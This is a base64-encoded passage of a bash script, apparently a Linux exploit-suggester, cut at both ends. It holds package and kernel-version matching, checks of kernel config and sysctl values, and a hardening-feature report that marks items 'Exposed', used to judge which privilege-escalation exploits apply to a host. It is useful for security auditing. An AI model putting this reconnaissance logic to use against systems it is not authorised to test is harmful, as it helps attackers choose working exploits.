C1lICIkcGtnbGlzdF9maWxlIiBdOyB0aGVuCgogICAgICAgICMgdWJ1bnR1L2RlYmlhbiBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGlmIFsgJChoZWFkIC0xICIkcGtnbGlzdF9maWxlIiB8IGdyZXAgJ0Rlc2lyZWQ9VW5rbm93bi9JbnN0YWxsL1JlbW92ZS9QdXJnZS9Ib2xkJykgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIgfCBhd2sgJ3twcmludCAkMiItIiQzfScgfCBzZWQgJ3MvOmFtZDY0Ly9nJykKCiAgICAgICAgICAgIE9TPSJkZWJpYW4iCiAgICAgICAgICAgIFsgIiQoZ3JlcCB1YnVudHUgIiRwa2dsaXN0X2ZpbGUiKSIgXSAmJiBPUz0idWJ1bnR1IgogICAgICAgICMgcmVkaGF0IHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgZWxpZiBbICIkKGdyZXAgLUUgJ1wuZWxbMS05XStbXC5fXScgIiRwa2dsaXN0X2ZpbGUiIHwgaGVhZCAtMSkiIF07IHRoZW4KICAgICAgICAgICAgUEtHX0xJU1Q9JChjYXQgIiRwa2dsaXN0X2ZpbGUiKQogICAgICAgICAgICBPUz0iUkhFTCIKICAgICAgICAjIGZlZG9yYSBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGVsaWYgWyAiJChncmVwIC1FICdcLmZjWzEtOV0rJ2kgIiRwa2dsaXN0X2ZpbGUiIHwgaGVhZCAtMSkiIF07IHRoZW4KICAgICAgICAgICAgUEtHX0xJU1Q9JChjYXQgIiRwa2dsaXN0X2ZpbGUiKQogICAgICAgICAgICBPUz0iZmVkb3JhIgogICAgICAgICMgbWFnZWlhIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgZWxpZiBbICIkKGdyZXAgLUUgJ1wubWdhWzEtOV0rJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJtYWdlaWEiCiAgICAgICAgIyBwYWNtYW4gcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXCBbMC05XStcLicgIiRwa2dsaXN0X2ZpbGUiIHwgaGVhZCAtMSkiIF07IHRoZW4KICAgICAgICAgICAgUEtHX0xJU1Q9JChjYXQgIiRwa2dsaXN0X2ZpbGUiIHwgYXdrICd7cHJpbnQgJDEiLSIkMn0nKQogICAgICAgICAgICBPUz0iYXJjaCIKICAgICAgICAjIGZpbGUgbm90IHJlY29nbml6ZWQgLSBza2lwcGluZwogICAgICAgIGVsc2UKICAgICAgICAgICAgUEtHX0xJU1Q9IiIKICAgICAgICBmaQoKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiZGViaWFuIiAtbyAiJGRpc3RybyIgPSAidWJ1bnR1IiAtbyAiJGRpc3RybyIgPSAiZGVlcGluIiBdOyB0aGVuCiAgICAgICAgUEtHX0xJU1Q9JChkcGtnIC1sIHwgYXdrICd7cHJpbnQgJDIiLSIkM30nIHwgc2VkICdzLzphbWQ2NC8vZycpCiAgICBlbGlmIFsgIiRkaXN0cm8iID0gIlJIRUwiIC1vICIkZGlzdHJvIiA9ICJmZWRvcmEiIC1vICIkZGlzdHJvIiA9ICJtYWdlaWEiIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKHJwbSAtcWEpCiAgICBlbGlmIFsgIiRkaXN0cm8iID0gImFyY2giIC1vICIkZGlzdHJvIiA9ICJtYW5qYXJvIiBdOyB0aGVuCiAgICAgICAgUEtHX0xJU1Q9JChwYWNtYW4gLVEgfCBhd2sgJ3twcmludCAkMSItIiQyfScpCiAgICBlbGlmIFsgLXggL3Vzci9iaW4vZXF1ZXJ5IF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKC91c3IvYmluL2VxdWVyeSAtLXF1aWV0IGxpc3QgJyonIC1GICckbmFtZTokdmVyc2lvbicgfCBjdXQgLWQvIC1mMi0gfCBhd2sgJ3twcmludCAkMSI6IiQyfScpCiAgICBlbHNlCiAgICAgICAgIyBwYWNrYWdlcyBsaXN0aW5nIG5vdCBhdmFpbGFibGUKICAgICAgICBQS0dfTElTVD0iIgogICAgZmkKfQoKIyBmcm9tOiBodHRwczovL3N0YWNrb3ZlcmZsb3cuY29tL3F1ZXN0aW9ucy80MDIzODMwL2hvdy1jb21wYXJlLXR3by1zdHJpbmdzLWluLWRvdC1zZXBhcmF0ZWQtdmVyc2lvbi1mb3JtYXQtaW4tYmFzaAp2ZXJDb21wYXJpc2lvbigpIHsKCiAgICBpZiBbWyAkMSA9PSAkMiBdXQogICAgdGhlbgogICAgICAgIHJldHVybiAwCiAgICBmaQoKICAgIGxvY2FsIElGUz0uCiAgICBsb2NhbCBpIHZlcjE9KCQxKSB2ZXIyPSgkMikKCiAgICAjIGZpbGwgZW1wdHkgZmllbGRzIGluIHZlcjEgd2l0aCB6ZXJvcwogICAgZm9yICgoaT0keyN2ZXIxW0BdfTsgaTwkeyN2ZXIyW0BdfTsgaSsrKSkKICAgIGRvCiAgICAgICAgdmVyMVtpXT0wCiAgICBkb25lCgogICAgZm9yICgoaT0wOyBpPCR7I3ZlcjFbQF19OyBpKyspKQogICAgZG8KICAgICAgICBpZiBbWyAteiAke3ZlcjJbaV19IF1dCiAgICAgICAgdGhlbgogICAgICAgICAgICAjIGZpbGwgZW1wdHkgZmllbGRzIGluIHZlcjIgd2l0aCB6ZXJvcwogICAgICAgICAgICB2ZXIyW2ldPTAKICAgICAgICBmaQogICAgICAgIGlmICgoMTAjJHt2ZXIxW2ldfSA+IDEwIyR7dmVyMltpXX0pKQogICAgICAgIHRoZW4KICAgICAgICAgICAgcmV0dXJuIDEKICAgICAgICBmaQogICAgICAgIGlmICgoMTAjJHt2ZXIxW2ldfSA8IDEwIyR7dmVyMltpXX0pKQogICAgICAgIHRoZW4KICAgICAgICAgICAgcmV0dXJuIDIKICAgICAgICBmaQogICAgZG9uZQoKICAgIHJldHVybiAwCn0KCmRvVmVyc2lvbkNvbXBhcmlzaW9uKCkgewogICAgbG9jYWwgcmVxVmVyc2lvbj0iJDEiCiAgICBsb2NhbCByZXFSZWxhdGlvbj0iJDIiCiAgICBsb2NhbCBjdXJyZW50VmVyc2lvbj0iJDMiCgogICAgdmVyQ29tcGFyaXNpb24gJGN1cnJlbnRWZXJzaW9uICRyZXFWZXJzaW9uCiAgICBjYXNlICQ/IGluCiAgICAgICAgMCkgY3VycmVudFJlbGF0aW9uPSc9Jzs7CiAgICAgICAgMSkgY3VycmVudFJlbGF0aW9uPSc+Jzs7CiAgICAgICAgMikgY3VycmVudFJlbGF0aW9uPSc8Jzs7CiAgICBlc2FjCgogICAgaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI+IiBdOyB0aGVuCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI+IiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRyZXFSZWxhdGlvbiIgPT0gIjwiIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIjwiIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPj0iIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj0iIF0gJiYgcmV0dXJuIDAKICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj4iIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPD0iIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj0iIF0gJiYgcmV0dXJuIDAKICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIjwiIF0gJiYgcmV0dXJuIDAKICAgIGZpCn0KCmNvbXBhcmVWYWx1ZXMoKSB7CiAgICBjdXJWYWw9JDEKICAgIHZhbD0kMgogICAgc2lnbj0kMwoKICAgIGlmIFsgIiRzaWduIiA9PSAiPT0iIF07IHRoZW4KICAgICAgICBbICIkdmFsIiA9PSAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkc2lnbiIgPT0gIiE9IiBdOyB0aGVuCiAgICAgICAgWyAiJHZhbCIgIT0gIiRjdXJWYWwiIF0gJiYgcmV0dXJuIDAKICAgIGZpCgogICAgcmV0dXJuIDEKfQoKY2hlY2tSZXF1aXJlbWVudCgpIHsKICAgICNlY2hvICJDaGVja2luZyByZXF1aXJlbWVudDogJDEiCiAgICBsb2NhbCBJTj0iJDEiCiAgICBsb2NhbCBwa2dOYW1lPSIkezI6NH0iCgogICAgaWYgW1sgIiRJTiIgPX4gXnBrZz0uKiQgXV07IHRoZW4KCiAgICAgICAgIyBhbHdheXMgdHJ1ZSBmb3IgTGludXggT1MKICAgICAgICBbICR7cGtnTmFtZX0gPT0gImxpbnV4LWtlcm5lbCIgXSAmJiByZXR1cm4gMAoKICAgICAgICAjIHZlcmlmeSBpZiBwYWNrYWdlIGlzIHByZXNlbnQgCiAgICAgICAgcGtnPSQoZWNobyAiJFBLR19MSVNUIiB8IGdyZXAgLUUgLWkgIl4kcGtnTmFtZS1bMC05XSsiIHwgaGVhZCAtMSkKICAgICAgICBpZiBbIC1uICIkcGtnIiBdOyB0aGVuCiAgICAgICAgICAgIHJldHVybiAwCiAgICAgICAgZmkKCiAgICBlbGlmIFtbICIkSU4iID1+IF52ZXIuKiQgXV07IHRoZW4KICAgICAgICB2ZXJzaW9uPSIke0lOLy9bXjAtOS5dL30iCiAgICAgICAgcmVzdD0iJHtJTiN2ZXJ9IgogICAgICAgIG9wZXJhdG9yPSR7cmVzdCUkdmVyc2lvbn0KCiAgICAgICAgaWYgWyAiJHBrZ05hbWUiID09ICJsaW51eC1rZXJuZWwiIC1vICIkb3B0X2NoZWNrc2VjX21vZGUiID09ICJ0cnVlIiBdOyB0aGVuCgogICAgICAgICAgICAjIGZvciAtLWN2ZWxpc3QtZmlsZSBtb2RlIHNraXAga2VybmVsIHZlcnNpb24gY29tcGFyaXNpb24KICAgICAgICAgICAgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgICAgIGRvVmVyc2lvbkNvbXBhcmlzaW9uICR2ZXJzaW9uICRvcGVyYXRvciAkS0VSTkVMICYmIHJldHVybiAwCiAgICAgICAgZWxzZQogICAgICAgICAgICAjIGV4dHJhY3QgcGFja2FnZSB2ZXJzaW9uIGFuZCBjaGVjayBpZiByZXF1aXJlbW50IGlzIHRydWUKICAgICAgICAgICAgcGtnPSQoZWNobyAiJFBLR19MSVNUIiB8IGdyZXAgLUUgLWkgIl4kcGtnTmFtZS1bMC05XSsiIHwgaGVhZCAtMSkKCiAgICAgICAgICAgICMgc2tpcCAoaWYgcnVuIHdpdGggLS1za2lwLXBrZy12ZXJzaW9ucykgdmVyc2lvbiBjaGVja2luZyBpZiBwYWNrYWdlIHdpdGggZ2l2ZW4gbmFtZSBpcyBpbnN0YWxsZWQKICAgICAgICAgICAgWyAiJG9wdF9za2lwX3BrZ192ZXJzaW9ucyIgPSAidHJ1ZSIgLWEgLW4gIiRwa2ciIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgICAgICMgdmVyc2lvbmluZzoKICAgICAgICAgICAgI2VjaG8gInBrZzogJHBrZyIKICAgICAgICAgICAgcGtnVmVyc2lvbj0kKGVjaG8gIiRwa2ciIHwgZ3JlcCAtRSAtaSAtbyAtZSAnLVtcLjAtOVwrOnBdK1stXCtdJyB8IGN1dCAtZCc6JyAtZjIgfCBzZWQgJ3MvW1wrLV0vL2cnIHwgc2VkICdzL3BbMC05XS8vZycpCiAgICAgICAgICAgICNlY2hvICJ2ZXJzaW9uOiAkcGtnVmVyc2lvbiIKICAgICAgICAgICAgI2VjaG8gIm9wZXJhdG9yOiAkb3BlcmF0b3IiCiAgICAgICAgICAgICNlY2hvICJyZXF1aXJlZCB2ZXJzaW9uOiAkdmVyc2lvbiIKICAgICAgICAgICAgI2VjaG8KICAgICAgICAgICAgZG9WZXJzaW9uQ29tcGFyaXNpb24gJHZlcnNpb24gJG9wZXJhdG9yICRwa2dWZXJzaW9uICYmIHJldHVybiAwCiAgICAgICAgZmkKICAgIGVsaWYgW1sgIiRJTiIgPX4gXng4Nl82NCQgXV0gJiYgWyAiJEFSQ0giID09ICJ4ODZfNjQiIC1vICIkQVJDSCIgPT0gIiIgXTsgdGhlbgogICAgICAgIHJldHVybiAwCiAgICBlbGlmIFtbICIkSU4iID1+IF54ODYkIF1dICYmIFsgIiRBUkNIIiA9PSAiaTM4NiIgLW8gIiRBUkNIIiA9PSAiaTY4NiIgLW8gIiRBUkNIIiA9PSAiIiBdOyB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGVsaWYgW1sgIiRJTiIgPX4gXkNPTkZJR18uKiQgXV07IHRoZW4KCiAgICAgICAgIyBza2lwIGlmIGNoZWNrIGlzIG5vdCBhcHBsaWNhYmxlICgtayBvciAtLXVuYW1lIG9yIC1wIHNldCkgb3IgaWYgdXNlciBzYWlkIHNvICgtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJ0cnVlIiBdICYmIHJldHVybiAwCgogICAgICAgICMgaWYga2VybmVsIGNvbmZpZyBJUyBhdmFpbGFibGU6CiAgICAgICAgaWYgWyAtbiAiJEtDT05GSUciIF07IHRoZW4KICAgICAgICAgICAgaWYgJEtDT05GSUcgfCBncmVwIC1FIC1xaSAkSU47IHRoZW4KICAgICAgICAgICAgICAgIHJldHVybiAwOwogICAgICAgICAgICAjIHJlcXVpcmVkIG9wdGlvbiB3YXNuJ3QgZm91bmQsIGV4cGxvaXQgaXMgbm90IGFwcGxpY2FibGUKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgcmV0dXJuIDE7CiAgICAgICAgICAgIGZpCiAgICAgICAgIyBjb25maWcgaXMgbm90IGF2YWlsYWJsZQogICAgICAgIGVsc2UKICAgICAgICAgICAgcmV0dXJuIDA7CiAgICAgICAgZmkKICAgIGVsaWYgW1sgIiRJTiIgPX4gXnN5c2N0bDouKiQgXV07IHRoZW4KCiAgICAgICAgIyBza2lwIGlmIGNoZWNrIGlzIG5vdCBhcHBsaWNhYmxlICgtayBvciAtLXVuYW1lIG9yIC1wIG1vZGVzKSBvciBpZiB1c2VyIHNhaWQgc28gKC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gInRydWUiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgc3lzY3RsQ29uZGl0aW9uPSIke0lOOjd9IgoKICAgICAgICAjIGV4dHJhY3Qgc3lzY3RsIGVudHJ5LCByZWxhdGlvbiBzaWduIGFuZCByZXF1aXJlZCB2YWx1ZQogICAgICAgIGlmIGVjaG8gJHN5c2N0bENvbmRpdGlvbiB8IGdyZXAgLXFpICIhPSI7IHRoZW4KICAgICAgICAgICAgc2lnbj0iIT0iCiAgICAgICAgZWxpZiBlY2hvICRzeXNjdGxDb25kaXRpb24gfCBncmVwIC1xaSAiPT0iOyB0aGVuCiAgICAgICAgICAgIHNpZ249Ij09IgogICAgICAgIGVsc2UKICAgICAgICAgICAgZXhpdFdpdGhFcnJNc2cgIldyb25nIHN5c2N0bCBjb25kaXRpb24uIFRoZXJlIGlzIHN5bnRheCBlcnJvciBpbiB5b3VyIGZlYXR1cmVzIERCLiBBYm9ydGluZy4iCiAgICAgICAgZmkKICAgICAgICB2YWw9JChlY2hvICIkc3lzY3RsQ29uZGl0aW9uIiB8IGF3ayAtRiAiJHNpZ24iICd7cHJpbnQgJDJ9JykKICAgICAgICBlbnRyeT0kKGVjaG8gIiRzeXNjdGxDb25kaXRpb24iIHwgYXdrIC1GICIkc2lnbiIgJ3twcmludCAkMX0nKQoKICAgICAgICAjIGdldCBjdXJyZW50IHNldHRpbmcgb2Ygc3lzY3RsIGVudHJ5CiAgICAgICAgY3VyVmFsPSQoL3NiaW4vc3lzY3RsIC1hIDI+IC9kZXYvbnVsbCB8IGdyZXAgIiRlbnRyeSIgfCBhd2sgLUYnPScgJ3twcmludCAkMn0nKQoKICAgICAgICAjIHNwZWNpYWwgY2FzZSBmb3IgLS1jaGVja3NlYyBtb2RlOiByZXR1cm4gMiBpZiB0aGVyZSBpcyBubyBzdWNoIHN3aXRjaCBpbiBzeXNjdGwKICAgICAgICBbIC16ICIkY3VyVmFsIiAtYSAiJG9wdF9jaGVja3NlY19tb2RlIiA9ICJ0cnVlIiBdICYmIHJldHVybiAyCgogICAgICAgICMgZm9yIG90aGVyIG1vZGVzOiBza2lwIGlmIHRoZXJlIGlzIG5vIHN1Y2ggc3dpdGNoIGluIHN5c2N0bAogICAgICAgIFsgLXogIiRjdXJWYWwiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgIyBjb21wYXJlICYgcmV0dXJuIHJlc3VsdAogICAgICAgIGNvbXBhcmVWYWx1ZXMgJGN1clZhbCAkdmFsICRzaWduICYmIHJldHVybiAwCgogICAgZWxpZiBbWyAiJElOIiA9fiBeY21kOi4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgbW9kZXMpIG9yIGlmIHVzZXIgc2FpZCBzbyAoLS1za2lwLW1vcmUtY2hlY2tzKQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICBjbWQ9IiR7SU46NH0iCiAgICAgICAgaWYgZXZhbCAiJHtjbWR9IjsgdGhlbgogICAgICAgICAgICByZXR1cm4gMAogICAgICAgIGZpCiAgICBmaQoKICAgIHJldHVybiAxCn0KCmdldEtlcm5lbENvbmZpZygpIHsKCiAgICBpZiBbIC1mIC9wcm9jL2NvbmZpZy5neiBdIDsgdGhlbgogICAgICAgIEtDT05GSUc9InpjYXQgL3Byb2MvY29uZmlnLmd6IgogICAgZWxpZiBbIC1mIC9ib290L2NvbmZpZy1gdW5hbWUgLXJgIF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iY2F0IC9ib290L2NvbmZpZy1gdW5hbWUgLXJgIgogICAgZWxpZiBbIC1mICIke0tCVUlMRF9PVVRQVVQ6LS91c3Ivc3JjL2xpbnV4fSIvLmNvbmZpZyBdIDsgdGhlbgogICAgICAgIEtDT05GSUc9ImNhdCAke0tCVUlMRF9PVVRQVVQ6LS91c3Ivc3JjL2xpbnV4fS8uY29uZmlnIgogICAgZWxzZQogICAgICAgIEtDT05GSUc9IiIKICAgIGZpCn0KCmNoZWNrc2VjTW9kZSgpIHsKCiAgICBNT0RFPTAKCiAgICAjIHN0YXJ0IGFuYWx5c2lzCmZvciBGRUFUVVJFIGluICIke0ZFQVRVUkVTW0BdfSI7IGRvCgogICAgIyBjcmVhdGUgYXJyYXkgZnJvbSBjdXJyZW50IGV4cGxvaXQgaGVyZSBkb2MgYW5kIGZldGNoIG5lZWRlZCBsaW5lcwogICAgaT0wCiAgICAjICgnLXInIGlzIHVzZWQgdG8gbm90IGludGVycHJldCBiYWNrc2xhc2ggdXNlZCBmb3IgYmFzaCBjb2xvcnMpCiAgICB3aGlsZSByZWFkIC1yIGxpbmUKICAgIGRvCiAgICAgICAgYXJyW2ldPSIkbGluZSIKICAgICAgICBpPSQoKGkgKyAxKSkKICAgIGRvbmUgPDw8ICIkRkVBVFVSRSIKCgkjIG1vZGVzOiBrZXJuZWwtZmVhdHVyZSAoMSkgfCBody1mZWF0dXJlICgyKSB8IDNyZHBhcnR5LWZlYXR1cmUgKDMpIHwgYXR0YWNrLXN1cmZhY2UgKDQpCiAgICBOQU1FPSIke2FyclswXX0iCiAgICBQUkVfTkFNRT0iJHtOQU1FOjA6OH0iCiAgICBOQU1FPSIke05BTUU6OX0iCiAgICBpZiBbICIke1BSRV9OQU1FfSIgPSAic2VjdGlvbjoiIF07IHRoZW4KCQkjIGFkdmFuY2UgdG8gbmV4dCBNT0RFCgkJTU9ERT0kKCgkTU9ERSArIDEpKQoKICAgICAgICBlY2hvCiAgICAgICAgZWNobyAtZSAiJHtibGR3aHR9JHtOQU1FfSR7dHh0cnN0fSIKICAgICAgICBlY2hvCiAgICAgICAgY29udGludWUKICAgIGZpCgogICAgQVZBSUxBQkxFPSIke2FyclsxXX0iICYmIEFWQUlMQUJMRT0iJHtBVkFJTEFCTEU6MTF9IgogICAgRU5BQkxFPSQoZWNobyAiJEZFQVRVUkUiIHwgZ3JlcCAiZW5hYmxlZDogIiB8IGF3ayAtRidlZDogJyAne3ByaW50ICQyfScpCiAgICBhbmFseXNpc191cmw9JChlY2hvICIkRkVBVFVSRSIgfCBncmVwICJhbmFseXNpcy11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoKICAgICMgc3BsaXQgbGluZSB3aXRoIGF2YWlsYWJpbGl0eSByZXF1aXJlbWVudHMgJiBsb29wIHRocnUgYWxsIGF2YWlsYWJpbGl0eSByZXFzIG9uZSBieSBvbmUgJiBjaGVjayB3aGV0aGVyIGl0IGlzIG1ldAogICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJEFWQUlMQUJMRSIKICAgIEFWQUlMQUJMRV9SRVFTX05VTT0keyNhcnJheVtAXX0KICAgIEFWQUlMQUJMRV9QQVNTRURfUkVRPTAKCUNPTkZJRz0iIgogICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwoKCQkjIGZpbmQgQ09ORklHXyBuYW1lIChpZiBwcmVzZW50KSBmb3IgY3VycmVudCBmZWF0dXJlIChvbmx5IGZvciBkaXNwbGF5IHB1cnBvc2VzKQoJCWlmIFsgLXogIiRDT05GSUciIF07IHRoZW4KCQkJY29uZmlnPSQoZWNobyAiJFJFUSIgfCBncmVwICJDT05GSUdfIikKCQkJWyAtbiAiJGNvbmZpZyIgXSAmJiBDT05GSUc9IigkKGVjaG8gJFJFUSB8IGN1dCAtZCc9JyAtZjEpKSIKCQlmaQoKICAgICAgICBpZiAoY2hlY2tSZXF1aXJlbWVudCAiJFJFUSIpOyB0aGVuCiAgICAgICAgICAgIEFWQUlMQUJMRV9QQVNTRURfUkVRPSQoKCRBVkFJTEFCTEVfUEFTU0VEX1JFUSArIDEpKQogICAgICAgIGVsc2UKICAgICAgICAgICAgYnJlYWsKICAgICAgICBmaQogICAgZG9uZQoKICAgICMgc3BsaXQgbGluZSB3aXRoIGVuYWJsZW1lbnQgcmVxdWlyZW1lbnRzICYgbG9vcCB0aHJ1IGFsbCBlbmFibGVtZW50IHJlcXMgb25lIGJ5IG9uZSAmIGNoZWNrIHdoZXRoZXIgaXQgaXMgbWV0CiAgICBFTkFCTEVfUEFTU0VEX1JFUT0wCiAgICBFTkFCTEVfUkVRU19OVU09MAogICAgbm9TeXNjdGw9MAogICAgaWYgWyAtbiAiJEVOQUJMRSIgXTsgdGhlbgogICAgICAgIElGUz0nLCcgcmVhZCAtciAtYSBhcnJheSA8PDwgIiRFTkFCTEUiCiAgICAgICAgRU5BQkxFX1JFUVNfTlVNPSR7I2FycmF5W0BdfQogICAgICAgIGZvciBSRVEgaW4gIiR7YXJyYXlbQF19IjsgZG8KICAgICAgICAgICAgY21kU3Rkb3V0PSQoY2hlY2tSZXF1aXJlbWVudCAiJFJFUSIpCiAgICAgICAgICAgIHJldFZhbD0kPwogICAgICAgICAgICBpZiBbICRyZXRWYWwgLWVxIDAgXTsgdGhlbgogICAgICAgICAgICAgICAgRU5BQkxFX1BBU1NFRF9SRVE9JCgoJEVOQUJMRV9QQVNTRURfUkVRICsgMSkpCiAgICAgICAgICAgIGVsaWYgWyAkcmV0VmFsIC1lcSAyIF07IHRoZW4KICAgICAgICAgICAgIyBzcGVjaWFsIGNhc2U6IHN5c2N0bCBlbnRyeSBpcyBub3QgcHJlc2VudCBvbiBnaXZlbiBzeXN0ZW06IHNpZ25hbCBpdCBhczogTi9BCiAgICAgICAgICAgICAgICBub1N5c2N0bD0xCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICBmaQogICAgICAgIGRvbmUKICAgIGZpCgogICAgZmVhdHVyZT0kKGVjaG8gIiRGRUFUVVJFIiB8IGdyZXAgImZlYXR1cmU6ICIgfCBjdXQgLWQnICcgLWYgMi0pCgogICAgaWYgWyAtbiAiJGNtZFN0ZG91dCIgXTsgdGhlbgogICAgICAgIGlmIFsgJGNtZFN0ZG91dCAtZXEgMCBdOyB0aGVuCiAgICAgICAgICAgIHN0YXRlPSJbICR7dHh0cmVkfVNldCB0byAkY21kU3Rkb3V0JHt0eHRyc3R9IF0iCgkJCWNtZFN0ZG91dD0iIgogICAgICAgIGVsc2UKICAgICAgICAgICAgc3RhdGU9IlsgJHt0eHRncm59U2V0IHRvICRjbWRTdGRvdXQke3R4dHJzdH0gXSIKCQkJY21kU3Rkb3V0PSIiCiAgICAgICAgZmkKICAgIGVsc2UKCgl1bmtub3duPSJbICR7dHh0Z3JheX1Vbmtub3duJHt0eHRyc3R9ICBdIgoKCSMgZm9yIDNyZCBwYXJ0eSAoMykgbW9kZSBkaXNwbGF5ICJOL0EiIG9yICJFbmFibGVkIgoJaWYgWyAkTU9ERSAtZXEgMyBdOyB0aGVuCiAgICAgICAgICAgIGVuYWJsZWQ9IlsgJHt0eHRncm59RW5hYmxlZCR7dHh0cnN0fSAgIF0iCiAgICAgICAgICAgIGRpc2FibGVkPSJbICAgJHt0eHRncmF5fU4vQSR7dHh0cnN0fSAgICBdIgoKICAgICAgICAjIGZvciBhdHRhY2stc3VyZmFjZSAoNCkgbW9kZSBkaXNwbGF5ICJMb2NrZWQiIG9yICJFeHBvc2VkIgogICAgICAgIGVsaWYgWyAkTU9ERSAtZXEgNCBdOyB0aGVuCiAgICAgICAgICAgZW5hYmxlZD0iWyAke3R4dHJlZH1FeHBvc2VkJHt0eHRyc3R9ICBdIgogICAgICAgICAgIGRpc2FibGVkPSJbICR7dHh0Z3JufUxvY2tlZCR7dHh0cnN0fSAgIF0iCgoJIyBvdGhlciBtb2RlcyIgIkRpc2FibGVkIiAvICJFbmFibGVkIgoJZWxzZQoJCWVuYWJsZWQ9IlsgJHt0eHRncm59RW5hYmxlZCR7dHh0cnN0fSAgXSIKCQlkaXNhYmxlZD0iWyAke3R4dHJlZH1EaXNhYmxlZCR7dHh0cnN0fSBdIgoJZmkKCglpZiBbIC16ICIkS0NPTkZJRyIgLWEgIiRFTkFCTEVfUkVRU19OVU0iID0gMCBdOyB0aGVuCgkgICAgc3RhdGU9JHVua25vd24KICAgIGVsaWYgWyAkQVZBSUxBQkxFX1BBU1NFRF9SRVEgLWVxICRBVkFJTEFCTEVfUkVRU19OVU0gLWEgJEVOQUJMRV9QQVNTRURfUkVRIC1lcSAkRU5BQkxFX1JFUVNfTlVNIF07IHRoZW4KICAgICAgICBzdGF0ZT0kZW5hYmxlZAogICAgZWxzZQogICAgICAgIHN0YXRlPSRkaXNhYmxlZAoJZmkKCiAgICBmaQoKICAgIGVjaG8gLWUgIiAkc3RhdGUgJGZlYXR1cmUgJHt3aHR9JHtDT05GSUd9JHt0eHRyc3R9IgogICAgWyAtbiAiJGFuYWx5c2lzX3VybCIgXSAmJiBlY2hvIC1lICIgICAgICAgICAgICAgICRhbmFseXNpc191cmwiCiAgICBlY2hvCgpkb25lCgp9CgpkaXNwbGF5RXhwb3N1cmUoKSB7CiAgICBSQU5LPSQxCgogICAgaWYgWyAiJFJBTksiIC1nZSA2IF07IHRoZW4KICAgICAgICBlY2hvICJoaWdobHkgcHJvYmFibGUiCiAgICBlbGlmIFsgIiRSQU5LIiAtZ2UgMyBdOyB0aGVuCiAgICAgICAgZWNobyAicHJvYmFibGUiCiAgICBlbHNlCiAgICAgICAgZWNobyAibGVzcyBwcm9iYWJsZSIKICAgIGZpCn0KCiMgcGFyc2UgY29tbWFuZCBsaW5lIHBhcmFtZXRlcnMKQVJHUz0kKGdldG9wdCAtLW9wdGlvbnMgJFNIT1JUT1BUUyAgLS1sb25nb3B0aW9ucyAkTE9OR09QVFMgLS0gIiRAIikKWyAkPyAhPSAwIF0gJiYgZXhpdFdpdGhFcnJNc2cgIkFib3J0aW5nLiIKCmV2YWwgc2V0IC0tICIkQVJHUyIKCndoaWxlIHRydWU7IGRvCiAgICBjYXNlICIkMSIgaW4KICAgICAgICAtdXwtLXVuYW1lKQogICAgICAgICAgICBzaGlmdAogICAgICAgICAgICBVTkFNRV9BPSIkMSIKICAgICAgICAgICAgb3B0X3VuYW1lX3N0cmluZz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLVZ8LS12ZXJzaW9uKQogICAgICAgICAgICB2ZXJzaW9uCiAgICAgICAgICAgIGV4aXQgMAogICAgICAgICAgICA7OwogICAgICAgIC1ofC0taGVscCkKICAgICAgICAgICAgdXNhZ2UgCiAgICAgICAgICAgIGV4aXQgMAogICAgICAgICAgICA7OwogICAgICAgIC1mfC0tZnVsbCk